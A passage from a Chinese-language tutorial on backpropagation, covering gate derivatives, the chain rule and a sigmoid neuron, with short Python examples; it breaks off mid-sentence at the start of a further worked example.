ๅ‡ฝๆ•ฐๅ…ณไบŽๆฏไธชๅ˜้‡็š„ๅฏผๆ•ฐๆŒ‡ๆ˜Žไบ†ๆ•ดไธช่กจ่พพๅผๅฏนไบŽ่ฏฅๅ˜้‡็š„<u>ๆ•ๆ„Ÿ็จ‹ๅบฆ</u>ใ€‚\n\nๅฆ‚ไธŠๆ‰€่ฟฐ๏ผŒๆขฏๅบฆ$\\nabla f$ๆ˜ฏๅๅฏผๆ•ฐ็š„ๅ‘้‡๏ผŒๆ‰€ไปฅๆœ‰$\\nabla f(x)=[\\frac{\\partial f}{\\partial x},\\frac{\\partial f}{\\partial y}]=[y,x]$ใ€‚ๅณไฝฟๆ˜ฏๆขฏๅบฆๅฎž้™…ไธŠๆ˜ฏไธ€ไธชๅ‘้‡๏ผŒไป็„ถ้€šๅธธไฝฟ็”จ็ฑปไผผโ€œ*xไธŠ็š„ๆขฏๅบฆ*โ€็š„ๆœฏ่ฏญ๏ผŒ่€Œไธๆ˜ฏไฝฟ็”จๅฆ‚โ€œ*x็š„ๅๅฏผๆ•ฐ*โ€็š„ๆญฃ็กฎ่ฏดๆณ•๏ผŒๅŽŸๅ› ๆ˜ฏๅ› ไธบๅ‰่€…่ฏด่ตทๆฅ็ฎ€ๅ•ใ€‚\n\nๆˆ‘ไปฌไนŸๅฏไปฅๅฏนๅŠ ๆณ•ๆ“ไฝœๆฑ‚ๅฏผ๏ผš\n$$\nf(x,y)=x+y\\rightarrow\\frac{df}{dx}=1\\,\\,\\,\\,\\,\\frac{df}{dy}=1\n$$\n่ฟ™ๅฐฑๆ˜ฏ่ฏด๏ผŒๆ— ่ฎบๅ…ถๅ€ผๅฆ‚ไฝ•๏ผŒ$x,y$็š„ๅฏผๆ•ฐๅ‡ไธบ1ใ€‚่ฟ™ๆ˜ฏๆœ‰้“็†็š„๏ผŒๅ› ไธบๆ— ่ฎบๅขžๅŠ $x,y$ไธญไปปไธ€ไธช็š„ๅ€ผ๏ผŒๅ‡ฝๆ•ฐ$f$็š„ๅ€ผ้ƒฝไผšๅขžๅŠ ๏ผŒๅนถไธ”ๅขžๅŠ ็š„ๅ˜ๅŒ–็Ž‡็‹ฌ็ซ‹ไบŽ$x,y$็š„ๅ…ทไฝ“ๅ€ผ๏ผˆๆƒ…ๅ†ตๅ’Œไน˜ๆณ•ๆ“ไฝœไธๅŒ๏ผ‰ใ€‚ๅ–ๆœ€ๅคงๅ€ผๆ“ไฝœไนŸๆ˜ฏๅธธๅธธไฝฟ็”จ็š„๏ผš\n$$\n\\displaystyle f(x,y)=max(x,y) \\to \\frac {df}{dx}=1 (x>=y) \\quad\\frac {df}{dy}=1 (y>=x)\n$$\nไธŠๅผๆ˜ฏ่ฏด๏ผŒๅฆ‚ๆžœ่ฏฅๅ˜้‡ๆฏ”ๅฆไธ€ไธชๅ˜้‡ๅคง๏ผŒ้‚ฃไนˆๆขฏๅบฆๆ˜ฏ1๏ผŒๅไน‹ไธบ0ใ€‚ไพ‹ๅฆ‚๏ผŒ่‹ฅ$x=4,y=2$๏ผŒ้‚ฃไนˆmaxๆ˜ฏ4๏ผŒๆ‰€ไปฅๅ‡ฝๆ•ฐๅฏนไบŽ$y$ๅฐฑไธๆ•ๆ„Ÿใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๅœจ$y$ไธŠๅขžๅŠ $h$๏ผŒๅ‡ฝๆ•ฐ่ฟ˜ๆ˜ฏ่พ“ๅ‡บไธบ4๏ผŒๆ‰€ไปฅๆขฏๅบฆๆ˜ฏ0๏ผšๅ› ไธบๅฏนไบŽๅ‡ฝๆ•ฐ่พ“ๅ‡บๆ˜ฏๆฒกๆœ‰ๆ•ˆๆžœ็š„ใ€‚ๅฝ“็„ถ๏ผŒๅฆ‚ๆžœ็ป™$y$ๅขžๅŠ ไธ€ไธชๅพˆๅคง็š„้‡๏ผŒๆฏ”ๅฆ‚ๅคงไบŽ2๏ผŒ้‚ฃไนˆๅ‡ฝๆ•ฐ$f$็š„ๅ€ผๅฐฑๅ˜ๅŒ–ไบ†๏ผŒไฝ†ๆ˜ฏ<u>ๅฏผๆ•ฐๅนถๆฒกๆœ‰ๆŒ‡ๆ˜Ž่พ“ๅ…ฅ้‡ๆœ‰ๅทจๅคงๅ˜ๅŒ–ๆƒ…ๅ†ตๅฏนไบŽๅ‡ฝๆ•ฐ็š„ๆ•ˆๆžœ๏ผŒไป–ไปฌๅช้€‚็”จไบŽ่พ“ๅ…ฅ้‡ๅ˜ๅŒ–ๆžๅฐๆ—ถ็š„ๆƒ…ๅ†ต</u>๏ผŒๅ› ไธบๅฎšไน‰ๅทฒ็ปๆŒ‡ๆ˜Ž๏ผš$lim_{h\\to 0}$ใ€‚\n\n## ไฝฟ็”จ้“พๅผๆณ•ๅˆ™่ฎก็ฎ—ๅคๅˆ่กจ่พพๅผ\n\n็Žฐๅœจ่€ƒ่™‘ๆ›ดๅคๆ‚็š„ๅŒ…ๅซๅคšไธชๅ‡ฝๆ•ฐ็š„ๅคๅˆๅ‡ฝๆ•ฐ๏ผŒๆฏ”ๅฆ‚$f(x,y,z)=(x+y)z$ใ€‚่™ฝ็„ถ่ฟ™ไธช่กจ่พพ่ถณๅคŸ็ฎ€ๅ•๏ผŒๅฏไปฅ็›ดๆŽฅๅพฎๅˆ†๏ผŒไฝ†ๆ˜ฏๅœจๆญคไฝฟ็”จไธ€็งๆœ‰ๅŠฉไบŽ่ฏป่€…็›ด่ง‚็†่งฃๅๅ‘ไผ ๆ’ญ็š„ๆ–นๆณ•ใ€‚ๅฐ†ๅ…ฌๅผๅˆ†ๆˆไธค้ƒจๅˆ†๏ผš$q=x+y$ๅ’Œ$f=qz$ใ€‚ๅœจๅ‰้ขๅทฒ็ปไป‹็ป่ฟ‡ๅฆ‚ไฝ•ๅฏน่ฟ™ๅˆ†ๅผ€็š„ไธคไธชๅ…ฌๅผ่ฟ›่กŒ่ฎก็ฎ—๏ผŒๅ› ไธบ![f](http://www.zhihu.com/equation?tex=f)ๆ˜ฏ![q](http://www.zhihu.com/equation?tex=q)ๅ’Œ![z](http://www.zhihu.com/equation?tex=z)็›ธไน˜๏ผŒๆ‰€ไปฅ$\\displaystyle\\frac{\\partial f}{\\partial q}=z,\\frac{\\partial f}{\\partial z}=q$)๏ผŒๅˆๅ› ไธบ$q$ๆ˜ฏ$x$ๅŠ $y$๏ผŒๆ‰€ไปฅ$\\displaystyle\\frac{\\partial q}{\\partial x}=1,\\frac{\\partial q}{\\partial y}=1$ใ€‚็„ถ่€Œ๏ผŒๅนถไธ้œ€่ฆๅ…ณๅฟƒไธญ้—ด้‡$q$็š„ๆขฏๅบฆ๏ผŒๅ› ไธบ$\\frac{\\partial f}{\\partial q}$ๆฒกๆœ‰็”จใ€‚็›ธๅ๏ผŒๅ‡ฝๆ•ฐ$f$ๅ…ณไบŽ$x,y,z$็š„ๆขฏๅบฆๆ‰ๆ˜ฏ้œ€่ฆๅ…ณๆณจ็š„ใ€‚**้“พๅผๆณ•ๅˆ™**ๆŒ‡ๅ‡บๅฐ†่ฟ™ไบ›ๆขฏๅบฆ่กจ่พพๅผ้“พๆŽฅ่ตทๆฅ็š„ๆญฃ็กฎๆ–นๅผๆ˜ฏ็›ธไน˜๏ผŒๆฏ”ๅฆ‚$\\displaystyle\\frac{\\partial f}{\\partial x}=\\frac{\\partial f}{\\partial q}\\frac{\\partial q}{\\partial x}$ใ€‚ๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒ่ฟ™ๅชๆ˜ฏ็ฎ€ๅ•ๅœฐๅฐ†ไธคไธชๆขฏๅบฆๆ•ฐๅ€ผ็›ธไน˜๏ผŒ็คบไพ‹ไปฃ็ ๅฆ‚ไธ‹๏ผš\n\n```python\n# ่ฎพ็ฝฎ่พ“ๅ…ฅๅ€ผ\nx = -2; y = 5; z = -4\n\n# ่ฟ›่กŒๅ‰ๅ‘ไผ ๆ’ญ\nq = x + y # q becomes 3\nf = q * z # f becomes -12\n\n# ่ฟ›่กŒๅๅ‘ไผ ๆ’ญ:\n# ้ฆ–ๅ…ˆๅ›žไผ ๅˆฐ f = q * z\ndfdz = q # df/dz = q, ๆ‰€ไปฅๅ…ณไบŽz็š„ๆขฏๅบฆๆ˜ฏ3\ndfdq = z # df/dq = z, ๆ‰€ไปฅๅ…ณไบŽq็š„ๆขฏๅบฆๆ˜ฏ-4\n# ็Žฐๅœจๅ›žไผ ๅˆฐq = x + y\ndfdx = 1.0 * dfdq # dq/dx = 1. ่ฟ™้‡Œ็š„ไน˜ๆณ•ๆ˜ฏๅ› ไธบ้“พๅผๆณ•ๅˆ™\ndfdy = 1.0 * dfdq # dq/dy = 1\n```\n\nๆœ€ๅŽๅพ—ๅˆฐๅ˜้‡็š„ๆขฏๅบฆ**[dfdx, dfdy, dfdz]**๏ผŒๅฎƒไปฌๅ‘Š่ฏ‰ๆˆ‘ไปฌ<u>ๅ‡ฝๆ•ฐ**f**ๅฏนไบŽๅ˜้‡**[x, y, z]**็š„ๆ•ๆ„Ÿ็จ‹ๅบฆ</u>ใ€‚่ฟ™ๆ˜ฏไธ€ไธชๆœ€็ฎ€ๅ•็š„ๅๅ‘ไผ ๆ’ญใ€‚ไธ€่ˆฌไผšไฝฟ็”จไธ€ไธชๆ›ด็ฎ€ๆด็š„่กจ่พพ็ฌฆๅท๏ผŒ่ฟ™ๆ ทๅฐฑไธ็”จๅ†™**df**ไบ†ใ€‚่ฟ™ๅฐฑๆ˜ฏ่ฏด๏ผŒ็”จ**dq**ๆฅไปฃๆ›ฟ**dfdq**๏ผŒไธ”ๆ€ปๆ˜ฏๅ‡่ฎพๆขฏๅบฆๆ˜ฏๅ…ณไบŽๆœ€็ปˆ่พ“ๅ‡บ็š„ใ€‚\n\n่ฟ™ๆฌก่ฎก็ฎ—ๅฏไปฅ่ขซๅฏ่ง†ๅŒ–ไธบๅฆ‚ไธ‹่ฎก็ฎ—็บฟ่ทฏๅ›พๅƒ๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/23/5b7d9b6cbacbf.png)\n\nไธŠๅ›พ็š„็œŸๅฎžๅ€ผ่ฎก็ฎ—็บฟ่ทฏๅฑ•็คบไบ†่ฎก็ฎ—็š„่ง†่ง‰ๅŒ–่ฟ‡็จ‹ใ€‚**ๅ‰ๅ‘ไผ ๆ’ญ**ไปŽ่พ“ๅ…ฅ่ฎก็ฎ—ๅˆฐ่พ“ๅ‡บ๏ผˆ็ปฟ่‰ฒ๏ผ‰๏ผŒ**ๅๅ‘ไผ ๆ’ญ**ไปŽๅฐพ้ƒจๅผ€ๅง‹๏ผŒๆ นๆฎ้“พๅผๆณ•ๅˆ™้€’ๅฝ’ๅœฐๅ‘ๅ‰่ฎก็ฎ—ๆขฏๅบฆ๏ผˆๆ˜พ็คบไธบ็บข่‰ฒ๏ผ‰๏ผŒไธ€็›ดๅˆฐ็ฝ‘็ปœ็š„่พ“ๅ…ฅ็ซฏใ€‚ๅฏไปฅ่ฎคไธบ๏ผŒๆขฏๅบฆๆ˜ฏไปŽ่ฎก็ฎ—้“พ่ทฏไธญๅ›žๆตใ€‚\n\n(่‡ชๆณจ๏ผš็บข่‰ฒๆ•ฐๅญ—ๆ˜ฏ$\\frac{\\partial f}{\\partial *}$็š„่ฎก็ฎ—็ป“ๆžœ๏ผŒๅฆ‚ๆœ€ๅณ่พน็š„1่กจ็คบ็š„ๆ˜ฏ$\\frac{\\partial f}{\\partial f}$๏ผ‰\n\n---\n\n\n\n## ๅๅ‘ไผ ๆ’ญ็š„็›ด่ง‚็†่งฃ\n\nๅๅ‘ไผ ๆ’ญๆ˜ฏไธ€ไธชไผ˜็พŽ็š„ๅฑ€้ƒจ่ฟ‡็จ‹ใ€‚ๅœจๆ•ดไธช่ฎก็ฎ—็บฟ่ทฏๅ›พไธญ๏ผŒๆฏไธช้—จๅ•ๅ…ƒ้ƒฝไผšๅพ—ๅˆฐไธ€ไบ›่พ“ๅ…ฅๅนถ็ซ‹ๅณ่ฎก็ฎ—ไธคไธชไธœ่ฅฟ๏ผš1. ่ฟ™ไธช้—จ็š„่พ“ๅ‡บๅ€ผ๏ผŒๅ’Œ2.ๅ…ถ่พ“ๅ‡บๅ€ผๅ…ณไบŽ่พ“ๅ…ฅๅ€ผ็š„ๅฑ€้ƒจๆขฏๅบฆใ€‚้—จๅ•ๅ…ƒๅฎŒๆˆ่ฟ™ไธคไปถไบ‹ๆ˜ฏๅฎŒๅ…จ็‹ฌ็ซ‹็š„๏ผŒๅฎƒไธ้œ€่ฆ็Ÿฅ้“่ฎก็ฎ—็บฟ่ทฏไธญ็š„ๅ…ถไป–็ป†่Š‚ใ€‚็„ถ่€Œ๏ผŒไธ€ๆ—ฆๅ‰ๅ‘ไผ ๆ’ญๅฎŒๆฏ•๏ผŒๅœจๅๅ‘ไผ ๆ’ญ็š„่ฟ‡็จ‹ไธญ๏ผŒ้—จๅ•ๅ…ƒ้—จๅฐ†ๆœ€็ปˆ่Žทๅพ—ๆ•ดไธช็ฝ‘็ปœ็š„ๆœ€็ปˆ่พ“ๅ‡บๅ€ผๅœจ่‡ชๅทฑ็š„่พ“ๅ‡บๅ€ผไธŠ็š„ๆขฏๅบฆใ€‚้“พๅผๆณ•ๅˆ™ๆŒ‡ๅ‡บ๏ผŒ้—จๅ•ๅ…ƒๅบ”่ฏฅๅฐ†ๅ›žไผ ็š„ๆขฏๅบฆไน˜ไปฅๅฎƒๅฏนๅ…ถ็š„่พ“ๅ…ฅ็š„ๅฑ€้ƒจๆขฏๅบฆ๏ผŒไปŽ่€Œๅพ—ๅˆฐๆ•ดไธช็ฝ‘็ปœ็š„่พ“ๅ‡บๅฏน่ฏฅ้—จๅ•ๅ…ƒ็š„ๆฏไธช่พ“ๅ…ฅๅ€ผ็š„ๆขฏๅบฆใ€‚\n\n> ่ฟ™้‡ŒๅฏนไบŽๆฏไธช่พ“ๅ…ฅ็š„ไน˜ๆณ•ๆ“ไฝœๆ˜ฏๅŸบไบŽ้“พๅผๆณ•ๅˆ™็š„ใ€‚่ฏฅๆ“ไฝœ่ฎฉไธ€ไธช็›ธๅฏน็‹ฌ็ซ‹็š„้—จๅ•ๅ…ƒๅ˜ๆˆๅคๆ‚่ฎก็ฎ—็บฟ่ทฏไธญไธๅฏๆˆ–็ผบ็š„ไธ€้ƒจๅˆ†๏ผŒ่ฟ™ไธชๅคๆ‚่ฎก็ฎ—็บฟ่ทฏๅฏไปฅๆ˜ฏ็ฅž็ป็ฝ‘็ปœ็ญ‰ใ€‚\n\nไธ‹้ข้€š่ฟ‡ไพ‹ๅญๆฅๅฏน่ฟ™ไธ€่ฟ‡็จ‹่ฟ›่กŒ็†่งฃใ€‚ๅŠ ๆณ•้—จๆ”ถๅˆฐไบ†่พ“ๅ…ฅ[-2, 5]๏ผŒ่ฎก็ฎ—่พ“ๅ‡บๆ˜ฏ3ใ€‚ๆ—ข็„ถ่ฟ™ไธช้—จๆ˜ฏๅŠ ๆณ•ๆ“ไฝœ๏ผŒ้‚ฃไนˆๅฏนไบŽไธคไธช่พ“ๅ…ฅ็š„ๅฑ€้ƒจๆขฏๅบฆ้ƒฝๆ˜ฏ+1ใ€‚็ฝ‘็ปœ็š„ๅ…ถไฝ™้ƒจๅˆ†่ฎก็ฎ—ๅ‡บๆœ€็ปˆๅ€ผไธบ-12ใ€‚ๅœจๅๅ‘ไผ ๆ’ญๆ—ถๅฐ†้€’ๅฝ’ๅœฐไฝฟ็”จ้“พๅผๆณ•ๅˆ™๏ผŒ็ฎ—ๅˆฐๅŠ ๆณ•้—จ๏ผˆๆ˜ฏไน˜ๆณ•้—จ็š„่พ“ๅ…ฅ๏ผ‰็š„ๆ—ถๅ€™๏ผŒ็Ÿฅ้“ๅŠ ๆณ•้—จ็š„่พ“ๅ‡บ็š„ๆขฏๅบฆๆ˜ฏ-4ใ€‚ๅฆ‚ๆžœ็ฝ‘็ปœๆƒณ่ฆ่พ“ๅ‡บๅ€ผๆ›ด้ซ˜๏ผŒ้‚ฃไนˆๅฏไปฅ่ฎคไธบๅฎƒไผšๆƒณ่ฆๅŠ ๆณ•้—จ็š„่พ“ๅ‡บๆ›ดๅฐไธ€็‚น๏ผˆๅ› ไธบ่ดŸๅท๏ผ‰๏ผŒ่€Œไธ”่ฟ˜ๆœ‰ไธ€ไธช4็š„ๅ€ๆ•ฐใ€‚็ปง็ปญ้€’ๅฝ’ๅนถๅฏนๆขฏๅบฆไฝฟ็”จ้“พๅผๆณ•ๅˆ™๏ผŒๅŠ ๆณ•้—จๆ‹ฟๅˆฐๆขฏๅบฆ๏ผŒ็„ถๅŽๆŠŠ่ฟ™ไธชๆขฏๅบฆๅˆ†ๅˆซไน˜ๅˆฐๆฏไธช่พ“ๅ…ฅๅ€ผ็š„ๅฑ€้ƒจๆขฏๅบฆ๏ผˆๅฐฑๆ˜ฏ่ฎฉ-4ไน˜ไปฅ**x**ๅ’Œ**y**็š„ๅฑ€้ƒจๆขฏๅบฆ๏ผŒxๅ’Œy็š„ๅฑ€้ƒจๆขฏๅบฆ้ƒฝๆ˜ฏ1๏ผŒๆ‰€ไปฅๆœ€็ปˆ้ƒฝๆ˜ฏ-4๏ผ‰ใ€‚ๅฏไปฅ็œ‹ๅˆฐๅพ—ๅˆฐไบ†ๆƒณ่ฆ็š„ๆ•ˆๆžœ๏ผšๅฆ‚ๆžœ**x๏ผŒyๅ‡ๅฐ**๏ผˆๅฎƒไปฌ็š„ๆขฏๅบฆไธบ่ดŸ๏ผ‰๏ผŒ้‚ฃไนˆๅŠ ๆณ•้—จ็š„่พ“ๅ‡บๅ€ผๅ‡ๅฐ๏ผŒ่ฟ™ไผš่ฎฉไน˜ๆณ•้—จ็š„่พ“ๅ‡บๅ€ผๅขžๅคงใ€‚\n\nๅ› ๆญค๏ผŒๅๅ‘ไผ ๆ’ญๅฏไปฅ็œ‹ๅšๆ˜ฏ้—จๅ•ๅ…ƒไน‹้—ดๅœจ้€š่ฟ‡ๆขฏๅบฆไฟกๅท็›ธไบ’้€šไฟก๏ผŒๅช่ฆ่ฎฉๅฎƒไปฌ็š„่พ“ๅ…ฅๆฒฟ็€ๆขฏๅบฆๆ–นๅ‘ๅ˜ๅŒ–๏ผŒๆ— ่ฎบๅฎƒไปฌ่‡ชๅทฑ็š„่พ“ๅ‡บๅ€ผๅœจไฝ•็ง็จ‹ๅบฆไธŠๅ‡ๆˆ–้™ไฝŽ๏ผŒ้ƒฝๆ˜ฏไธบไบ†่ฎฉๆ•ดไธช็ฝ‘็ปœ็š„่พ“ๅ‡บๅ€ผๆ›ด้ซ˜ใ€‚\n\n## ๆจกๅ—ๅŒ–๏ผšSigmoidไพ‹ๅญ\n\nไธŠ้ขไป‹็ป็š„้—จๆ˜ฏ็›ธๅฏน้šๆ„็š„ใ€‚ไปปไฝ•ๅฏๅพฎๅˆ†็š„ๅ‡ฝๆ•ฐ้ƒฝๅฏไปฅ็œ‹ๅš้—จใ€‚ๅฏไปฅๅฐ†ๅคšไธช้—จ็ป„ๅˆๆˆไธ€ไธช้—จ๏ผŒไนŸๅฏไปฅๆ นๆฎ้œ€่ฆๅฐ†ไธ€ไธชๅ‡ฝๆ•ฐๅˆ†ๆ‹†ๆˆๅคšไธช้—จใ€‚็Žฐๅœจ็œ‹็œ‹ไธ€ไธช่กจ่พพๅผ๏ผš\n$$\nf(w,x)=\\frac{1}{1+e^{-(w_0x_0+w_1x_1+w_2)}}\n$$\nๅœจๅŽ้ข็š„่ฏพ็จ‹ไธญๅฏไปฅ็œ‹ๅˆฐ๏ผŒ่ฟ™ไธช่กจ่พพๅผๆ่ฟฐไบ†ไธ€ไธชๅซ่พ“ๅ…ฅ**x**ๅ’Œๆƒ้‡**w**็š„2็ปด็š„็ฅž็ปๅ…ƒ๏ผŒ่ฏฅ็ฅž็ปๅ…ƒไฝฟ็”จไบ†*sigmoidๆฟ€ๆดป*ๅ‡ฝๆ•ฐใ€‚ไฝ†ๆ˜ฏ็Žฐๅœจๅชๆ˜ฏ็œ‹ๅšๆ˜ฏไธ€ไธช็ฎ€ๅ•็š„่พ“ๅ…ฅไธบxๅ’Œw๏ผŒ่พ“ๅ‡บไธบไธ€ไธชๆ•ฐๅญ—็š„ๅ‡ฝๆ•ฐใ€‚่ฟ™ไธชๅ‡ฝๆ•ฐๆ˜ฏ็”ฑๅคšไธช้—จ็ป„ๆˆ็š„ใ€‚้™คไบ†ไธŠๆ–‡ไป‹็ป็š„ๅŠ ๆณ•้—จ๏ผŒไน˜ๆณ•้—จ๏ผŒๅ–ๆœ€ๅคงๅ€ผ้—จ๏ผŒ่ฟ˜ๆœ‰ไธ‹้ข่ฟ™4็ง๏ผš\n$$\n\\begin{align}\nf(x)&=\\frac{1}{x}\\rightarrow\\frac{df}{dx}=-1/x^2\\\\\nf_c(x)&=c+x\\rightarrow\\frac{df}{dx}=1,\\,\\,\\,\\,f(x)=e^x\\rightarrow\\frac{df}{dx}=e^x\\\\\nf_a(x)&=ax\\rightarrow\\frac{df}{dx}=a\n\\end{align}\n$$\nๅ…ถไธญ๏ผŒๅ‡ฝๆ•ฐ$f_c$ไฝฟ็”จๅฏน่พ“ๅ…ฅๅ€ผ่ฟ›่กŒไบ†ๅธธ้‡$c$็š„ๅนณ็งป๏ผŒ$f_a$ๅฐ†่พ“ๅ…ฅๅ€ผๆ‰ฉๅคงไบ†ๅธธ้‡$a$ๅ€ใ€‚ๅฎƒไปฌๆ˜ฏๅŠ ๆณ•ๅ’Œไน˜ๆณ•็š„็‰นไพ‹๏ผŒไฝ†ๆ˜ฏ่ฟ™้‡Œๅฐ†ๅ…ถ็œ‹ๅšไธ€ๅ…ƒ้—จๅ•ๅ…ƒ๏ผŒๅ› ไธบ็กฎๅฎž้œ€่ฆ่ฎก็ฎ—ๅธธ้‡$c,a$็š„ๆขฏๅบฆใ€‚ๆ•ดไธช่ฎก็ฎ—็บฟ่ทฏๅฆ‚ไธ‹๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/23/5b7d9b80d897a.png)\n\nไฝฟ็”จsigmoidๆฟ€ๆดปๅ‡ฝๆ•ฐ็š„2็ปด็ฅž็ปๅ…ƒ็š„ไพ‹ๅญใ€‚่พ“ๅ…ฅๆ˜ฏ[x0, x1]๏ผŒๅฏๅญฆไน ็š„ๆƒ้‡ๆ˜ฏ[w0, w1, w2]ใ€‚ไธ€ไผšๅ„ฟไผš็œ‹่ง๏ผŒ่ฟ™ไธช็ฅž็ปๅ…ƒๅฏน่พ“ๅ…ฅๆ•ฐๆฎๅš็‚น็งฏ่ฟ็ฎ—๏ผŒ็„ถๅŽๅ…ถๆฟ€ๆดปๆ•ฐๆฎ่ขซsigmoidๅ‡ฝๆ•ฐๆŒคๅŽ‹ๅˆฐ0ๅˆฐ1ไน‹้—ดใ€‚\n\n---\n\nๅœจไธŠ้ข็š„ไพ‹ๅญไธญๅฏไปฅ็œ‹่งไธ€ไธชๅ‡ฝๆ•ฐๆ“ไฝœ็š„้•ฟ้“พๆก๏ผŒ้“พๆกไธŠ็š„้—จ้ƒฝๅฏน**w**ๅ’Œ**x**็š„็‚น็งฏ็ป“ๆžœ่ฟ›่กŒๆ“ไฝœใ€‚่ฏฅๅ‡ฝๆ•ฐ่ขซ็งฐไธบsigmoidๅ‡ฝๆ•ฐ$\\sigma (x)$ใ€‚sigmoidๅ‡ฝๆ•ฐๅ…ณไบŽๅ…ถ่พ“ๅ…ฅ็š„ๆฑ‚ๅฏผๆ˜ฏๅฏไปฅ็ฎ€ๅŒ–็š„(ไฝฟ็”จไบ†ๅœจๅˆ†ๅญไธŠๅ…ˆๅŠ ๅŽๅ‡1็š„ๆŠ€ๅทง)๏ผš\n$$\n\\begin{align}\\sigma(x)&=\\frac{1}{1+e^{-x}}\\\\\n\\rightarrow\\frac{d\\sigma(x)}{dx}&=\\frac{e^{-x}}{(1+e^{-x})^2}=(\\frac{1+e^{-x}-1}{1+e^{-x}})(\\frac{1}{1+e^{-x}})=(1-\\sigma(x))\\sigma(x)\n\\end{align}\n$$\nๅฏไปฅ็œ‹ๅˆฐๆขฏๅบฆ่ฎก็ฎ—็ฎ€ๅ•ไบ†ๅพˆๅคšใ€‚ไธพไธชไพ‹ๅญ๏ผŒsigmoid่กจ่พพๅผ่พ“ๅ…ฅไธบ1.0๏ผŒๅˆ™ๅœจๅ‰ๅ‘ไผ ๆ’ญไธญ่ฎก็ฎ—ๅ‡บ่พ“ๅ‡บไธบ0.73ใ€‚ๆ นๆฎไธŠ้ข็š„ๅ…ฌๅผ๏ผŒๅฑ€้ƒจๆขฏๅบฆไธบ(1-0.73)*0.73~=0.2๏ผŒๅ’Œไน‹ๅ‰็š„่ฎก็ฎ—ๆต็จ‹ๆฏ”่ตทๆฅ๏ผŒ็Žฐๅœจ็š„่ฎก็ฎ—ไฝฟ็”จไธ€ไธชๅ•็‹ฌ็š„็ฎ€ๅ•่กจ่พพๅผๅณๅฏใ€‚ๅ› ๆญค๏ผŒๅœจๅฎž้™…็š„ๅบ”็”จไธญๅฐ†่ฟ™ไบ›ๆ“ไฝœ่ฃ…่ฟ›ไธ€ไธชๅ•็‹ฌ็š„้—จๅ•ๅ…ƒไธญๅฐ†ไผš้žๅธธๆœ‰็”จใ€‚่ฏฅ็ฅž็ปๅ…ƒๅๅ‘ไผ ๆ’ญ็š„ไปฃ็ ๅฎž็Žฐๅฆ‚ไธ‹๏ผš\n\n```python\nw = [2,-3,-3] # ๅ‡่ฎพไธ€ไบ›้šๆœบๆ•ฐๆฎๅ’Œๆƒ้‡\nx = [-1, -2]\n\n# ๅ‰ๅ‘ไผ ๆ’ญ\ndot = w[0]*x[0] + w[1]*x[1] + w[2]\nf = 1.0 / (1 + math.exp(-dot)) # sigmoidๅ‡ฝๆ•ฐ\n\n# ๅฏน็ฅž็ปๅ…ƒๅๅ‘ไผ ๆ’ญ\nddot = (1 - f) * f # ็‚น็งฏๅ˜้‡็š„ๆขฏๅบฆ, ไฝฟ็”จsigmoidๅ‡ฝๆ•ฐๆฑ‚ๅฏผ\ndx = [w[0] * ddot, w[1] * ddot] # ๅ›žไผ ๅˆฐx\ndw = [x[0] * ddot, x[1] * ddot, 1.0 * ddot] # ๅ›žไผ ๅˆฐw\n# ๅฎŒๆˆ๏ผๅพ—ๅˆฐ่พ“ๅ…ฅ็š„ๆขฏๅบฆ\n```\n\n**ๅฎž็Žฐๆ็คบ๏ผšๅˆ†ๆฎตๅๅ‘ไผ ๆ’ญ**ใ€‚ไธŠ้ข็š„ไปฃ็ ๅฑ•็คบไบ†ๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒไธบไบ†ไฝฟๅๅ‘ไผ ๆ’ญ่ฟ‡็จ‹ๆ›ดๅŠ ็ฎ€ๆด๏ผŒๆŠŠๅ‘ๅ‰ไผ ๆ’ญๅˆ†ๆˆไธๅŒ็š„้˜ถๆฎตๅฐ†ๆ˜ฏๅพˆๆœ‰ๅธฎๅŠฉ็š„ใ€‚ๆฏ”ๅฆ‚ๆˆ‘ไปฌๅˆ›ๅปบไบ†ไธ€ไธชไธญ้—ดๅ˜้‡**dot**๏ผŒๅฎƒ่ฃ…็€**w**ๅ’Œ**x**็š„็‚นไน˜็ป“ๆžœใ€‚ๅœจๅๅ‘ไผ ๆ’ญ็š„ๆ—ถ๏ผŒๅฐฑๅฏไปฅ๏ผˆๅๅ‘ๅœฐ๏ผ‰่ฎก็ฎ—ๅ‡บ่ฃ…็€**w**ๅ’Œ**x**็ญ‰็š„ๆขฏๅบฆ็š„ๅฏนๅบ”็š„ๅ˜้‡๏ผˆๆฏ”ๅฆ‚**ddot**๏ผŒ**dx**ๅ’Œ**dw**๏ผ‰ใ€‚\n\nๆœฌ่Š‚็š„่ฆ็‚นๅฐฑๆ˜ฏๅฑ•็คบๅๅ‘ไผ ๆ’ญ็š„็ป†่Š‚่ฟ‡็จ‹๏ผŒไปฅๅŠๅ‰ๅ‘ไผ ๆ’ญ่ฟ‡็จ‹ไธญ๏ผŒๅ“ชไบ›ๅ‡ฝๆ•ฐๅฏไปฅ่ขซ็ป„ๅˆๆˆ้—จ๏ผŒไปŽ่€Œๅฏไปฅ่ฟ›่กŒ็ฎ€ๅŒ–ใ€‚็Ÿฅ้“่กจ่พพๅผไธญๅ“ช้ƒจๅˆ†็š„ๅฑ€้ƒจๆขฏๅบฆ่ฎก็ฎ—ๆฏ”่พƒ็ฎ€ๆด้žๅธธๆœ‰็”จ๏ผŒ่ฟ™ๆ ทไป–ไปฌๅฏไปฅโ€œ้“พโ€ๅœจไธ€่ตท๏ผŒ่ฎฉไปฃ็ ้‡ๆ›ดๅฐ‘๏ผŒๆ•ˆ็Ž‡ๆ›ด้ซ˜ใ€‚\n\n## ๅๅ‘ไผ ๆ’ญๅฎž่ทต๏ผšๅˆ†ๆฎต่ฎก็ฎ—\n\n็œ‹ๅฆไธ€ไธชไพ‹ๅญใ€‚ๅ‡่ฎพๆœ‰ๅฆ‚ไธ‹ๅ‡ฝๆ•ฐ๏ผš\n$$\nf(x,y)=\\frac{x+\\sigma(y)}{\\sigma(x)+(x+y)^2}\n$$\n้ฆ–ๅ…ˆ่ฆ่ฏด็š„ๆ˜ฏ๏ผŒ่ฟ™ไธชๅ‡ฝๆ•ฐๅฎŒๅ…จๆฒก็”จ๏ผŒ่ฏป่€…ๆ˜ฏไธไผš็”จๅˆฐๅฎƒๆฅ่ฟ›่กŒๆขฏๅบฆ่ฎก็ฎ—็š„๏ผŒ่ฟ™้‡Œๅชๆ˜ฏ็”จๆฅไฝœไธบๅฎž่ทตๅๅ‘ไผ 